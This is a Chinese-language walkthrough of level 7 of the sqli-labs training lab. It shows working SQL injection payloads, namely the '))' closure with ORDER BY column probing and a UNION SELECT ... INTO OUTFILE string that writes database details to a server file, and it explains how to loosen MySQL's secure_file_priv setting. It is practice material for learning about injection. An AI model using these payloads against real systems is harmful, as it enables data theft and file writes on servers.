sqli-labs 靶场 less-7 第七关详解:OUTFILE注入与配置

复制代码
SQLi-Labs是一个用于学习和练习SQL注入漏洞的开源应用程序。通过它,我们可以学习如何识别和利用不同类型的SQL注入漏洞,并了解如何修复和防范这些漏洞。

Less 7

复制代码
SQLI DUMB SERIES-7

判断注入点

进入页面中,并输入数据查看结果。

发现空数据提示语法问题

输入单引号会提示语法问题。

经尝试竟然还需要两个括号才能显示正常。整个过程都没有错误提示或数据显示,那我们只能使用布尔注入来测试了。

只有列号为3的时候,才能正常显示,则字段长度为3。

sql 复制代码
http://sqli-labs.com/Less-7/
?id=1')) order by 3 --+

注入

复制代码
SELECT column1 FROM table_name INTO OUTFILE 'file_path'
OUTFILE命令可以将查询结果导出为文本文件,CSV文件等多种格式。
注意:使用这个功能需要提前开启权限。你可以前往MySQL的源文件目录中,
	打开my.ini配置文件,并修改其中的`secure_file_priv='D://'`
	参数设置为你的安全目录。(请设置为C盘以外的磁盘,避免系统权限问题。)
	修改完成并重启后在MySQL命令行中输入`show variables like '%secure%';`查看是否设置成功。

根据页面的提示我们也可以采用outfile的方式进行注入:

c 复制代码
http://sqli-labs.com/Less-7/
?id=1')) union select database(),version(),user() from dual into outfile "d:\\project\\sqli-labs-master\\Less-7\\1.txt" --+
sql 复制代码
SELECT * FROM users WHERE id=(('id=1')) union select version(),database(),user() into outfile "D:\\project\\sqli-labs-master\\Less-7\\1.txt";

打开文件看一下效果:

至此,注入成功。

系列文章

相关推荐
之恒君12 小时前
script 标签中的 async 和 defer 的区别
前端·javascript
浪浪山_大橙子12 小时前
使用Electron+Vue3开发Qwen3 2B桌面应用:从想法到实现的完整指南
前端·人工智能
北京云帆互联科技12 小时前
云帆国产化培训考试系统:为数字化转型构筑安全智能的人才培养基石
安全·考试系统·高校考试系统·国产化考试系统·企业培训系统·培训考试系统
狗哥哥12 小时前
聊聊设计模式在 Vue 3 业务开发中的落地——从一次代码重构说起
前端·架构
用户479492835691512 小时前
CVE-2025-55182:React 史上最严重漏洞,CVSS 满分 10.0
安全·react.js·全栈
shenzhenNBA12 小时前
如何在python文件中使用日志功能?简单版本
java·前端·python·日志·log
掘金泥石流12 小时前
分享下我创业烧了 几十万的 AI Coding 经验
前端·javascript·后端
用户479492835691512 小时前
JavaScript 为什么选择原型链?从第一性原理聊聊这个设计
前端·javascript
new code Boy13 小时前
vscode左侧栏图标及目录恢复
前端·javascript
唐诗13 小时前
Git提交信息太乱?AI一键美化!一行命令拯救你的项目历史🚀
前端·ai编程